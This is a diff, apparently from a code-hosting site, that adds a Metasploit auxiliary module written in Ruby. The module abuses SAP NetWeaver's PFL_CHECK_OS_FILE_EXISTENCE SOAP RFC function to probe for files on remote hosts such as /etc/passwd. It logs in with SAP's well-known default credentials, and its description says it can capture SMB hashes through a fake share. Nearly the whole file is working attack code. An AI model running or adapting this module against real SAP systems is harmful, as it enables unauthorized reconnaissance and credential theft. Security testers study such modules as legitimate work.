|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +## |
| 9 | +# This module is based on, inspired by, or is a port of a plugin available in |
| 10 | +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - |
| 11 | +# http://www.onapsis.com/research-free-solutions.php. |
| 12 | +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts |
| 13 | +# in producing the Metasploit modules and was happy to share his knowledge and |
| 14 | +# experience - a very cool guy. |
| 15 | +# |
| 16 | +# The following guys from ERP-SCAN deserve credit for their contributions - |
| 17 | +# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and |
| 18 | +# Dmitry Evdokimov. |
| 19 | +# |
| 20 | +# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis |
| 21 | +# who have Beta tested the modules and provided excellent feedback. Some people |
| 22 | +# just seem to enjoy hacking SAP :) |
| 23 | +## |
| 24 | + |
| 25 | +require 'msf/core' |
| 26 | + |
| 27 | +class Metasploit4 < Msf::Auxiliary |
| 28 | + include Msf::Exploit::Remote::HttpClient |
| 29 | + include Msf::Auxiliary::Report |
| 30 | + include Msf::Auxiliary::Scanner |
| 31 | + |
| 32 | + def initialize |
| 33 | + super( |
| 34 | + 'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check', |
| 35 | + 'Description' => %q{ |
| 36 | + This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on |
| 37 | + the SAP SOAP RFC Service, to check for files existence on the remote file system. |
| 38 | + The module can also be used to capture SMB hashes by using a fake SMB share as |
| 39 | + FILEPATH. |
| 40 | + }, |
| 41 | + 'References' => |
| 42 | + [ |
| 43 | + [ 'OSVDB', '78537' ], |
| 44 | + [ 'BID', '51645' ], |
| 45 | + [ 'URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ] |
| 46 | + ], |
| 47 | + 'Author' => |
| 48 | + [ |
| 49 | + 'lexey Tyurin', # Vulnerability discovery |
| 50 | + 'nmonkee' # Metasploit module |
| 51 | + ], |
| 52 | + 'License' => MSF_LICENSE |
| 53 | + ) |
| 54 | + |
| 55 | + register_options([ |
| 56 | + OptString.new('CLIENT', [true, 'SAP Client', '001']), |
| 57 | + OptString.new('USERNAME', [true, 'Username', 'SAP*']), |
| 58 | + OptString.new('PASSWORD', [true, 'Password', '06071992']), |
| 59 | + OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd']) |
| 60 | + ], self.class) |
| 61 | + end |
| 62 | + |
| 63 | + def run_host(ip) |
| 64 | + data = '<?xml version="1.0" encoding="utf-8" ?>' |
| 65 | + data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" ' |
| 66 | + data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" ' |
| 67 | + data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">' |
| 68 | + data << '<SOAP-ENV:Header/>' |
| 69 | + data << '<SOAP-ENV:Body>' |
| 70 | + data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">' |
| 71 | + data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>' |
| 72 | + data << '<LONG_FILENAME>' + datastore['FILEPATH'] + '</LONG_FILENAME>' |
| 73 | + data << '</PFL_CHECK_OS_FILE_EXISTENCE>' |
| 74 | + data << '</SOAP-ENV:Body>' |
| 75 | + data << '</SOAP-ENV:Envelope>' |
| 76 | + begin |
| 77 | + vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['FILEPATH']}") |
| 78 | + res = send_request_cgi({ |
| 79 | + 'uri' => '/sap/bc/soap/rfc', |
| 80 | + 'method' => 'POST', |
| 81 | + 'data' => data, |
| 82 | + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), |
| 83 | + 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], |
| 84 | + 'ctype' => 'text/xml; charset=UTF-8', |
| 85 | + 'headers' => { |
| 86 | + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', |
| 87 | + }, |
| 88 | + 'vars_get' => { |
| 89 | + 'sap-client' => datastore['CLIENT'], |
| 90 | + 'sap-language' => 'EN' |
| 91 | + } |
| 92 | + }) |
| 93 | + if res and res.code == 200 and res.body =~ /PFL_CHECK_OS_FILE_EXISTENCE\.Response/ |
| 94 | + if res.body =~ /<FILE_EXISTS>X<\/FILE_EXISTS>/ |
| 95 | + print_good("#{rhost}:#{rport} - File #{datastore['FILEPATH']} exists") |
| 96 | + else |
| 97 | + print_warning("#{rhost}:#{rport} - File #{datastore['FILEPATH']} DOESN'T exist") |
| 98 | + end |
| 99 | + elsif res |
| 100 | + vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s) |
| 101 | + vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s) |
| 102 | + vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body |
| 103 | + end |
| 104 | + rescue ::Rex::ConnectionError |
| 105 | + vprint_error("#{rhost}:#{rport} - Unable to connect") |
| 106 | + return |
| 107 | + end |
| 108 | + end |
| 109 | +end |
0 commit comments